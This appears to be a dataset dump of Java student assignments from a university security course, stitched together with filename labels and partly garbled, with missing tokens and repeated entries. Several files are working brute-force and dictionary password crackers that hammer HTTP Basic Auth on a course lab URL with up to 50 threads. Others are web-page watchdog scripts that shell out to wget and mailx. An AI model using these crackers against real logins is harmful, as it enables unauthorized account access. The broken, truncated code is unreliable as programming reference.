{""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"", ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"", ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"", ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""}; int len = 52; int total = 52; String[] cad = new String[total]; int t=0; for (int i=0;i<=len-1;i++){ cad[t] = letters[i]; t++; } for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ cad[t] = letters[j]+letters[i]; t++; }} for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ for (int k=0;k<=len-1;k++){ cad[t] = letters[k]+letters[j]+letters[i]; t++; }}} int response = 0; for (t=0;t<=total-1;t++){ String uname = """"; String userinfo = uname + "":"" + cad[t]; try{ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes()); URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); response = uc.getResponseCode(); if (response == 200) break; else uc.disconnect(); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } } System.out.println(""Response ""+t+"" was ""+response); System.out.println(""The successful password was ""+cad[t]); finish = new Date().getTime(); float totaltime = (float)(finish-start)/1000; System.out.println(""Total time: ""+totaltime+"" seconds""); } } ",230.java," import java.io.*; import java.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); d = new Date().getTime(); FileReader fr = new FileReader(""/usr/share/lib/dict/words""); BufferedReader bufr = new BufferedReader(fr); String word = bufr.readLine(); int total = 960; String[] pws = new String[total]; int count = 0; while (word!=null){ if (word.length()<=3) { pws[count] = word; count++;} word = bufr.readLine(); } int i=0; int response = 0; for (i=0;i Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }",043.java,"import java.util.*; import java.io.*; import javax.swing.text.html.*; public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println(""ishti""); System.out.println(""Downloading first copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }" 064.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class Dictionary { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) { w.println(s); ALLCOMBI++; } } b.print(); w.print(); } catch (FileNotFoundException e) { System.out.println(""Unable open the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } catch (IOException e) { System.out.println(""Error in the DICTIONARY file '""+DICTIONARY+""'""); System.exit(0); } } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super("" Thread #""+String.valueOf(threadID)+"": ""); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; if (endidx>=startidx+MAXCACHE-1) { this.localDict = new String[MAXCACHE]; this.localDict = fetchWords(startidx,MAXCACHE); lastFetchIdx = startidx+MAXCACHE-1; } else { this.localDict = new String[(int)(endidx-startidx+1)]; this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); lastFetchIdx = endidx; } setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"").""); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"").""); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String getCacheIdx(int idx) { if (idx<=lastFetchIdx) { return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } else { if (lastFetchIdx+localDict.length-1>endidx) { this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); lastFetchIdx = endidx; } else { this.localDict = fetchWords(lastFetchIdx+1,localDict.length); lastFetchIdx = lastFetchIdx+localDict.length; } return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; } } public String constructPassword(int idx) { return getCacheIdx(idx); } public String getStartStr() { return fetchWord(this.startidx); } public String getEndStr() { return fetchWord(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { String s = constructPassword(i); if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) launchRequest(getName(), idx, s); else System.out.println(getName()+""skipping '""+s+""'""); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; private String localDict[]; private int lastFetchIdx; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************""); System.out.println(); System.out.println("" URL : ""+THEURL); System.out.println("" Crack Mode : ""+mode); System.out.println("" . Char : ""+MINCHAR); System.out.println("" . Char : ""+MAXCHAR); System.out.println("" # of Thread : ""+nThread); System.out.println("" Connections : ""+MAXCONN); System.out.println("" All Combi. : ""+ALLCOMBI); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } else { printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } mult = (ALLCOMBI) / MAXTHREAD; i = System.currentTimeMillis(); for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Dictionary mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Dictionary mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 255 (default = 1)""); System.out.println("" <= <= 255 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters '','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [] is specified, then [], and [username]""); System.out.println("" have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java Dictionary ""); System.out.println("" java Dictionary 0""); System.out.println("" java Dictionary 1 http://localhost/tryme.php""); System.out.println("" java Dictionary 0 http://localhost/tryme.php 1 3 ""); System.out.println("" java Dictionary 1 http://localhost/tryme.php 1 10 ""); System.out.println(); System.out.println(); } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==5) { try { MINCHAR = Integer.valueOf(args[2]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[2]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>255)) { System.out.println(""Invalid range number value '""+args[2]+""' (must between 0 and 255)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[2]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>255) { System.out.println(""Invalid range number value '""+args[3]+""' (must between value and 255)""); printSyntax(); System.exit(1); } USERNAME = args[4]; } else if ((argc>2) && (argc<5)) { System.out.println(""Please specify the [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>5)) { System.out.println(""The number of parameters expected is not more than 5. ""); System.out.println("" have specified more than 5 parameters.""); printSyntax(); System.exit(1); } } public static void main(String[] args) { MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[5]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = String.valueOf(MINCHAR); args[3] = String.valueOf(MAXCHAR); args[4] = USERNAME; } paramCheck(args); readThroughDictionary(); Application = new Dictionary(); } public static Dictionary Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static String DICTIONARY = System.getProperty(""user.dir"")+""/words""; public static String TEMPDICT = System.getProperty(""user.dir"")+""/~words""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 1; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static int MAXCACHE = 100; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; } ",062.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Brute force mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" charset : (optional) the character set used crack.""); System.out.println("" - (default)""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -alphanum ""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); System.out.println("" -alphalow ""); System.out.println("" abcdefghijklmnopqrstuvwxyz""); System.out.println("" -alphaup ""); System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -number ""); System.out.println("" 1234567890""); System.out.println("" [custom] e.g. aAbB123""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 10 (default = 1)""); System.out.println("" <= <= 10 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [charset] is specified, then [], [], and""); System.out.println("" [username] have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java BruteForce ""); System.out.println("" java BruteForce 0""); System.out.println("" java BruteForce 1 http://localhost/tryme.php""); System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[4]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals(""-"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-alphanum"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; } else if (args[2].toLowerCase().equals(""-alphalow"")) { charset = ""abcdefghijklmnopqrstuvwxyz""; } else if (args[2].toLowerCase().equals(""-alphaup"")) { charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-number"")) { charset = ""1234567890""; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println(""The number of parameters expected is not more than 6. ""); System.out.println("" have specified more than 6 parameters.""); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = ""-""; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; } " 043.java,"import java.util.*; import java.io.*; import javax.swing.text.html.*; public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println(""ishti""); System.out.println(""Downloading first copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }",251.java,"import java.util.*; import java.io.*; public class WatchDog { public WatchDog() { } public static void main(String args[]) { DataInputStream newin; try{ System.out.println(""Downloading first copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }" 181.java,"import java.net.*; import java.io.*; public class BruteForce extends Authenticator { private String username; private URL url; private char [] nextPassword; private char [] thisPassword; public static void main(String [] args) { if(args.length!=2) { System.err.println(""usage: BruteForce ""); System.exit(1); } BruteForce bf = null; try { bf = new BruteForce(args[0], args[1]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } bf.work(); System.exit(0); } public BruteForce(String url, String username) throws MalformedURLException { this.url = new URL(url); this.username = username; this.nextPassword = new char [] {'a'}; } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && nextPassword!=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { createNextPassword(); return new PasswordAuthentication(username, thisPassword); } public void createNextPassword() { int i; if(thisPassword==null) { thisPassword = new char [] {'A', 'A', 'A'}; nextPassword = new char [] {'A', 'A', 'B'}; return; } thisPassword = nextPassword; if(nextPassword[2]=='Z') { nextPassword[2]='a'; return; } else if(nextPassword[2]!='z') { i = (int) nextPassword[2]; nextPassword[2]=(char) ++i; } else { nextPassword[2]='A'; if(nextPassword[1]=='Z') { nextPassword[1]='a'; } else if(nextPassword[1]!='z') { i = (int) nextPassword[1]; nextPassword[1]=(char) ++i; } else { nextPassword[1]='A'; if(nextPassword[0]=='Z') { nextPassword[0]='a'; } else if(nextPassword[0]!='z') { i = (int) nextPassword[0]; nextPassword[0]=(char) ++i; } else { nextPassword = null; } } } } } ",182.java,"import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( ""usage: Dictionary ""); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } } " 233.java,"import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String line="" "" ; String line1="" "" ; String line2="" ""; String line3="" ""; String[] cad = new String[10]; executes(""./.sh""); int i=0; while ((line = buf.readLine()) != null) { line1=""http://www.cs.rmit.edu./students/images""+line; if (i==1) line2=""http://www.cs.rmit.edu./students/images""+line; if (i==2) line3=""http://www.cs.rmit.edu./students/images""+line; i++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+line1); executes(""wget ""+line2); executes(""wget ""+line3); String hash3 = md5sum(""index.html.2""); String hash4 = md5sum(""index.html.3""); String hash5 = md5sum(""index.html.4""); BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String linee="" "" ; String linee1="" "" ; String linee2="" ""; String linee3="" ""; executes(""./ip1.sh""); int j=0; while ((linee = buf2.readLine()) != null) { linee1=""http://www.cs.rmit.edu./students/images""+linee; if (j==1) linee2=""http://www.cs.rmit.edu./students/images""+linee; if (j==2) 